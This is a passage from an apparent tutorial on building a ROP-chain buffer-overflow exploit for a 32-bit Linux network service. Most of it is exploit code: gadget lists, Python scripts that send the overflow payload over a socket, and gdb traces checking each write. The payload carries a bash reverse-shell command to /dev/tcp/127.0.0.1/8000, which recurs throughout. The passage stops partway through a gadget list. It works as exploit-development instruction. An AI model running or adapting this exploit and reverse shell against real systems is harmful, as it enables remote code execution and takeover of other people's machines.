---------------------------- eax contains the distance to the end of data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of end of data
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret

#################DATA##################

------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

Now would be a good time to test the exploit again, what we will do here is pad the rest of the exploit so that our data starts 1000 bytes after our second ROP gadget, this way we can see if our exploit is calculating the correct values.

Here is the updated exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python

import socket

payload = "A" * 532

payload += "\x5a\x71\x07\x08" # ebp = esp

payload += "\xd0\x25\x05\x08" # xchg eax, ebp

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x6a\xa6\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

payload += "A" * 904 # 1000 - 96 (96 is the current size of the payload from the second ROP gadget

payload += "////bin/bash"
payload += "\xff\xff\xff\xff"

payload += "\xff\xff" + "-c"
payload += "\xff\xff\xff\xff"

payload += "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"
payload += "\xff\xff\xff\xff"

payload += "\xbb\xbb\xbb\xbb" # pointer to ////bin/bash
payload += "\xcc\xcc\xcc\xcc" # pointer to -c
payload += "\xdd\xdd\xdd\xdd" # pointer to args
payload += "\xff\xff\xff\xff"

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()

This time I will set the breakpoint at 0x08083f21 and ensure everything is correct:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
(gdb) delete 1
(gdb) break *0x08083f21
Breakpoint 2 at 0x8083f21
(gdb) display/x $ebx
3: /x $ebx = 0x0
(gdb) display/x $edx
4: /x $edx = 0xbfffe740
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/appuser/app-net 

0xbfffe7a4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe7b4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe7c4: 0x41414141  0x41414141
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax

Breakpoint 2, 0x08083f21 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb80
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) x/xw 0xbfffeb80
0xbfffeb80: 0xffffffff
(gdb) stepi
0xbfffe7a4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe7b4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe7c4: 0x41414141  0x41414141
=> 0x8083f23 <_dl_get_tls_static_info+19>:  ret    
0x08083f23 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb80
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) x/xw 0xbfffeb80
0xbfffeb80: 0x00000000
(gdb) x/xw 0xbfffeb7c
0xbfffeb7c: 0xdddddddd
(gdb) x/xw 0xbfffeb78
0xbfffeb78: 0xcccccccc
(gdb) x/xw 0xbfffeb74
0xbfffeb74: 0xbbbbbbbb

As you can see, we've successfully written nulls where the f's used to be at the end of our data.

After, I've printed the 3 values further up our payload (which are just where our pointers will be) just to show that it is infact the correct address we are writing to.

Now that we've fixed the nulls at the bottom, the next problem we should approach is setting the value for the ecx register, as this will be the second most difficult challenge.

Setting ECX

The gadget that I felt was the best chance of getting a value into ecx is:

1
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret

ecx needs to contain the address of the beginning of our pointers in the data, where we have put 0xbbbbbbbb.

There is a big problem here, this code will jump to the fixed address 0x804dca1 if the value pointed to by eax does not contain 0.

This means we first have to write 0 there before we can set ecx.

We will use the exact same method that we just used to write 0 to the end of the data, except this time we will calculate the address relative to the current value of edx (the end of the data section).

We use the following series of ROP gadgets to do this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa9e : (0xaaaaaaaa - 12) = distance from edx to ////bin/bash pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash pointer from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret

We've used all of these gadgets already so unless we miscalculate the distance somewhere this should all work fine and we can run the other gadget to set ecx.

Once we run the gadget to move eax into ecx the value of ecx is set and will no longer need to be touched, this also means we cannot run any gadgets that alter ecx in anyway.

Calculating The Address Of A String And Setting The Pointer

As we already have the address of the first pointer in edx we might as well set this to the correct value.

This should contain the address of the string ////bin/bash, which is the first string in the data section.

If you work it out you will see that the start of the relevant string is 18 double words, or 72 bytes, from the current value of edx (and ecx).

We can now use the exact same gadgets that we've already used to calculate the address of the string and write it to the location pointed to by edx:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa62 : (0xaaaaaaaa - 72) = distance from edx to ////bin/bash
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash from ecx/edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash
0x08083f21 : mov dword ptr [edx], eax ; ret

Now would be a good time to test the exploit again.

At the end of this we expect ecx and edx to point to the beginning of our pointers, eax should point to our ////bin/bash string which should also be wirrten to the address that ecx and edx points to.

We have also wirtten nulls at the end of our data (but we haven't changed this code and we've already tested it so that should work fine unless we've made a calculation error).

Here is the updated notes:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee
---------------------------- edx contains address of 0x080525d0
---------------------------- time to calculate the distance to the end of data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaa66a : (0xaaaaaaaa - (1000 + 88)) = distance to end of data
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax contains the distance to the end of data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of end of data
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- write nulls to the end of our data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa9e : (0xaaaaaaaa - 12) = distance from edx to ////bin/bash pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash pointer from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804
dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
---------------------------------------------------- ecx contains the address of ////bin/bash pointer
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa62 : (0xaaaaaaaa - 72) = distance from edx to ////bin/bash
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash from ecx/edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash
0x08083f21 : mov dword ptr [edx], eax ; ret

#################DATA##################

------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

This is our updated exploit:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python

import socket

payload = "A" * 532

payload += "\x5a\x71\x07\x08" # ebp = esp

payload += "\xd0\x25\x05\x08" # xchg eax, ebp

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the distance to the end of the payload

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x6a\xa6\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xab\x32\x07\x08" # eax += ebx
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Write 0 to the end of the data

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

############### Work out the distance to 0xbbbbbbbb

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x9e\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= 12) distance to 0xbbbbbbbb
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of 0xbbbbbbbb)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Move address value into ecx

payload += "\x0e\x82\x0a\x08" # edx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x0f\x9c\x09\x08" # eax = 0

payload += "\x21\x3f\x08\x08" # [edx] = eax = 0

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xa2\xdc\x04\x08" # ecx = eax
payload += "\xee\xee\xee\xee"

############### Work out the distance to ////bin/bash string

payload += "\x76\x85\x0a\x08" # pop eax
payload += "\xaa\xaa\xaa\xaa"

payload += "\x7e\x7b\x05\x08" # pop ebx
payload += "\x62\xaa\xaa\xaa"

payload += "\xfc\x48\x07\x08" # eax -= ebx (= distance to string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

############### Work out the address of ////bin/bash string and write to pointer

payload += "\xbe\x35\x05\x08" # ebx = eax
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\xcc\xab\x07\x08" # eax = edx

payload += "\xfc\x48\x07\x08" # eax -= ebx (= address of string)
payload += "\xee\xee\xee\xee"
payload += "\xee\xee\xee\xee"

payload += "\x21\x3f\x08\x08" # [edx] = eax

payload += "A" * (1000 - (len(payload) - 540)) # 1000 - current size of the payload from the second ROP gadget

payload += "////bin/bash"
payload += "\xff\xff\xff\xff"

payload += "\xff\xff" + "-c"
payload += "\xff\xff\xff\xff"

payload += "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1"
payload += "\xff\xff\xff\xff"

payload += "\xbb\xbb\xbb\xbb" # pointer to ////bin/bash
payload += "\xcc\xcc\xcc\xcc" # pointer to -c
payload += "\xdd\xdd\xdd\xdd" # pointer to args
payload += "\xff\xff\xff\xff"

# create the tcp socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to 127.0.0.1 port 9999
s.connect(("127.0.0.1", 9999))

# send our payload
s.send(payload)

# close the socket
s.close()

When we test this we want to break at 0x08083f21, but there are 3 times we are using this gadget so we should continue through the first 2 and then check the values:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
(gdb) delete 2
(gdb) break *0x08083f21
Breakpoint 3 at 0x8083f21
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/appuser/app-net 
0xbfffe7a4: 0x080a8576  0xaaaaaaaa  0x08057b7e  0xaaaaaa9e
0xbfffe7b4: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080535be
0xbfffe7c4: 0xeeeeeeee  0xeeeeeeee
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax

Breakpoint 3, 0x08083f21 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb80
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) continue
Continuing.
0xbfffe7f4: 0x0807abcc  0x0804dca2  0xeeeeeeee  0x080a8576
0xbfffe804: 0xaaaaaaaa  0x08057b7e  0xaaaaaa62  0x080748fc
0xbfffe814: 0xeeeeeeee  0xeeeeeeee
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax

Breakpoint 3, 0x08083f21 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb74
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0x0
1: /x $ebp = 0xeeeeeeee
(gdb) continue
Continuing.
0xbfffe83c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe84c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe85c: 0x41414141  0x41414141
=> 0x8083f21 <_dl_get_tls_static_info+17>:  mov    DWORD PTR [edx],eax

Breakpoint 3, 0x08083f21 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb74
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0xbfffeb2c
1: /x $ebp = 0xeeeeeeee
(gdb) x/xw 0xbfffeb74
0xbfffeb74: 0x00000000
(gdb) stepi
0xbfffe83c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe84c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe85c: 0x41414141  0x41414141
=> 0x8083f23 <_dl_get_tls_static_info+19>:  ret    
0x08083f23 in _dl_get_tls_static_info ()
4: /x $edx = 0xbfffeb74
3: /x $ebx = 0xeeeeeeee
2: /x $eax = 0xbfffeb2c
1: /x $ebp = 0xeeeeeeee
(gdb) x/xw 0xbfffeb74
0xbfffeb74: 0xbfffeb2c
(gdb) x/s 0xbfffeb2c
0xbfffeb2c:  "////bin/bash\377\377\377\377\377\377-c\377\377\377\377/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1\377\377\377\377,\353\377\277\314\314\314\314\335\335\335", <incomplete sequence \335>

Clearly we can see that we have written the correct address to the pointer and it now points to the correct string.

The reason we have the rest of the stuff there is because the examine command (x) in gdb when printing a string (x/s) stops when the first null is reached and we haven't changed the null termination to the end of the string yet.

Calculating And Writing The Remaining Nulls

We should now go about writing the nulls to the relevant parts in our data, we still have 3 nulls to write, 1 to terminate each of the string arguments.

I will not walk through each of these because I will use the exact same method but it is important to test the exploit at regular intevals to ensure you aren't miscalculating any values because if you do that it will spoil the rest of the exploit.

If it isn't obvious by now, what I'm doing is using edx as a pointer to where I want to write, using eax and ebx to work out the distance from the current value of edx to the next value, then calculating the address of the next value and finally moving that value into edx and writing zero to it.

Here are my notes updated to the point where all of the nulls have been set:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee
---------------------------- edx contains address of 0x080525d0
---------------------------- time to calculate the distance to the end of data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaa66a : (0xaaaaaaaa - (1000 + 88)) = distance to end of data
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax contains the distance to the end of data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080732ab : add eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- eax contains the address of end of data
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- write nulls to the end of our data
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa9e : (0xaaaaaaaa - 12) = distance from edx to ////bin/bash pointer
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash pointer from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash pointer
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804
dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
---------------------------------------------------- ecx contains the address of ////bin/bash pointer
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa62 : (0xaaaaaaaa - 72) = distance from edx to ////bin/bash
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to ////bin/bash from ecx/edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of ////bin/bash
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- ////bin/bash pointer now contains the correct address of ////bin/bash
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaaa6 : (0xaaaaaaaa - 4) = distance from ////bin/bash pointer to nearest null termination
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to null termination of 3rd arg
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of null termination of 3rd arg
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- 3rd arg nulls now contain 4 nulls
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaa7a : (0xaaaaaaaa - 48) = distance from edx to next nulls
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance from edx to -c nulls
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of -c nulls
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- -c nulls now contain 4 nulls
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x08057b7e : pop ebx ; ret
0xaaaaaaa2 : (0xaaaaaaaa - 8) = distance from edx to next nulls
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains the distance to the last nulls from edx
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------------------------------- now eax contains address of last nulls
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0805638b : mov edi, edx ; ret
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------------------------------- last nulls now contain 4 nulls

#################DATA##################

------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
